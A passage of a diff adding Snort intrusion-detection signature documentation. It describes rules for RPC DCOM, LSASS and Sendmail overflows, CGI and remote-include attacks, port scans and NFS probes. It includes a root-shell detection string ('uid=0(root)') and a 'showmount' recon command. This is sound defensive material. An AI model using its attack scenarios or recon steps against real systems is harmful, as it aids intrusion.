+All systems running CGI applications using VanillaSoft Helpdesk
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3282.txt
+++ snort-2.8.5.2/doc/signatures/3282.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3282
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000430.txt
+++ snort-2.8.5.2/doc/signatures/100000430.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+100000430
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "Bs_Faq.class.php" using a remote file being passed as the "APP[path][applications]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][applications]" parameter in the "Bs_Faq.class.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/498.txt
+++ snort-2.8.5.2/doc/signatures/498.txt
@@ -0,0 +1,82 @@
+Rule:  
+
+--
+Sid:
+498
+
+-- 
+
+Summary: 
+This event is generated by the use of a UNIX "id" command. This may be 
+indicative of post-compromise behavior where the attacker is checking 
+for super user privileges gained by a sucessful exploit against a 
+vulnerable system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained super user access to the system.
+
+--
+Detailed Information:
+This event is generated when a UNIX "id" command is used to confirm the
+user name of the currenly logged in user over an unencrypted connection. 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+The string "uid=0(root)" is an output of an "id" command indicating that
+the user has "root" privileges.  Seeing such a response indicates that
+some user, connected over the network to a target server, has root privileges.
+
+--
+
+Attack Scenarios: 
+A buffer overflow exploit against an FTP server results in "/bin/sh"
+being executed. An automated script performing an attack, checks for the
+success of the exploit via an "id" command.
+
+-- 
+
+Ease of Attack: 
+Simple. This may be post-attack behavior and can be indicative of the
+successful exploitation of a vulnerable system.
+
+-- 
+
+False Positives: 
+This rule will generate an event if a legitimate system administrator
+executes the "id" command over an unencrypted connection to verify the
+privilege level available to him.
+
+This rule may also generate event by viewing the documentation on
+snort.org or any other security related web site which may contain
+details on this issue.
+
+The web site www.bugtraq.org serves a non-standard HTTP header of the
+form "X-Mandatory-Snort-Alert: *GOBBLE* uid=65534(nobody) uid=0(root)"
+browsing this site will generate an event.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional false positive information contributed by Arnd Fischer
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/616.txt
+++ snort-2.8.5.2/doc/signatures/616.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+616
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/984.txt
+++ snort-2.8.5.2/doc/signatures/984.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+984
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/703.txt
+++ snort-2.8.5.2/doc/signatures/703.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+703
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000105.txt
+++ snort-2.8.5.2/doc/signatures/100000105.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+100000105
+
+--
+Summary:
+This event is generated when inappropriate content is detected in network 
+traffic.
+
+--
+Impact:
+Possible policy violation.
+
+--
+Detailed Information:
+This event is generated when inappropriate content is detected in network 
+traffic. Specifically, the content "lolita sex" was observed.
+
+--
+Affected Systems:
+ All systems.
+
+--
+Attack Scenarios:
+This event indicates that inappropriate content may have been accessed from a 
+host on the protected network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+This may be a policy violation, refer to the appropriate internal policy.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000141.txt
+++ snort-2.8.5.2/doc/signatures/100000141.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+100000141
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+directory traversal associated with Imail Web Calendaring
+servicel
+
+--
+Impact:
+A successful attack can permit a user to navigate outside
+of the web root directory and read files.
+
+--
+Detailed Information:
+The Imail Web Calendaring Server does not properly sanitize
+a malformed URL that contains directory traversal characters.
+This vulnerability is associated with static objects identified
+by names ending in .jsp, .jpg, .gif, .wav, .css, or .htm.  This
+can permit an unauthorized user to examine files that may contain
+sensitive information.
+
+--
+Affected Systems:
+Ipswitch IMail Server 8.2 and prior
+Ipswitch IMail Server 8.15 and prior
+
+--
+Attack Scenarios:
+An attacker send a URI containing a directory traversal to view
+sensitive files on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2026.txt
+++ snort-2.8.5.2/doc/signatures/2026.txt
@@ -0,0 +1,94 @@
+Rule:
+
+--
+Sid:
+2026
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0779
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Bugtraq:
+http://www.securityfocus.com/bid/2763
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1836.txt
+++ snort-2.8.5.2/doc/signatures/1836.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1836
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "alt.binaries.pictures.erotica".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "alt.binaries.pictures.erotica".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/368.txt
+++ snort-2.8.5.2/doc/signatures/368.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+368
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Berkeley Systems Development (BSD) host.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running a BSD TCP/IP networking stack such as FreeBSD, NetBSD, or OpenBSD, will contain a unique payload in the message request.  
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS152
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1951.txt
+++ snort-2.8.5.2/doc/signatures/1951.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1951
+
+--
+Summary:
+This event is generated when an attempt is made to mount a specific file system exported through Network File System (NFS). 
+
+--
+Impact:
+Remote access.  This mount request can give an attacker remote access to an NFS directory.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a mount of a specific file system.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt a mount of an NFS directory to read or change files.
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to mount NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1195.txt
+++ snort-2.8.5.2/doc/signatures/1195.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1195
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2507.txt
+++ snort-2.8.5.2/doc/signatures/2507.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2507
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-15.txt
+++ snort-2.8.5.2/doc/signatures/122-15.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-15
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+filtered protocol sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2269.txt
+++ snort-2.8.5.2/doc/signatures/2269.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2269
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1266.txt
+++ snort-2.8.5.2/doc/signatures/1266.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+1266
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) mountd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port mountd is using.  Attackers can also learn what versions of the mountd protocol are accepted by mountd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as mountd run.  The mountd RPC service allows remote file system access through Network File System (NFS).  A vulnerability exists in the code that logs NFS mount activity that can cause a buffer overflow, allowing the execution of arbitrary code as root.
+
+--
+Affected Systems:
+Caldera OpenLinux Standard 1.2
+RedHat Linux 2.0, 2.1, 3.0.3, 4.0, 4.1, 4.2, 5.0, 5.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where mountd runs.  This may be a precursor to accessing mountd.
+
+--
+Ease of Attack:
+Simple.  Execute 'showmount -e host/IP'.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access mountd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for mountd, not probes of the mountd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the mountd service itself. An attacker may attempt to go directly to the mountd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/121
+
+CERT
+http://www.cert.org/advisories/CA-1998-12.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS13
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2268.txt
+++ snort-2.8.5.2/doc/signatures/2268.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2268
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/860.txt
+++ snort-2.8.5.2/doc/signatures/860.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+860
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/568.txt
+++ snort-2.8.5.2/doc/signatures/568.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+568
+
+--
+Summary:
+This event is generated when an attempt is made to change the message on
+the LCD display on a JetDirect enabled HP printer.
+
+--
+Impact:
+User confusion and comedy, mostly.
+
+--
+Detailed Information:
+HP JetDirect printers allow remote machines to change the message that
+is displayed on the LCD panel via the PJL command. This event indicates
+that this command has been used in network traffic.
+
+--
+Affected Systems:
+	HP JetDirect enabled printers
+ 
+--
+Attack Scenarios:
+As part of an attempt to confuse and annoy users, an attacker may
+attempt to change the message displayed on the printers LCD screen.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Update to the latest JetDirect, and investigate the possibility of
+restricting access to a central print-server using the "allow: <ip>
+<netmask>" directive in a printer config file. 
+
+Disallow printer use from hosts outside the protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1589.txt
+++ snort-2.8.5.2/doc/signatures/1589.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1589
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
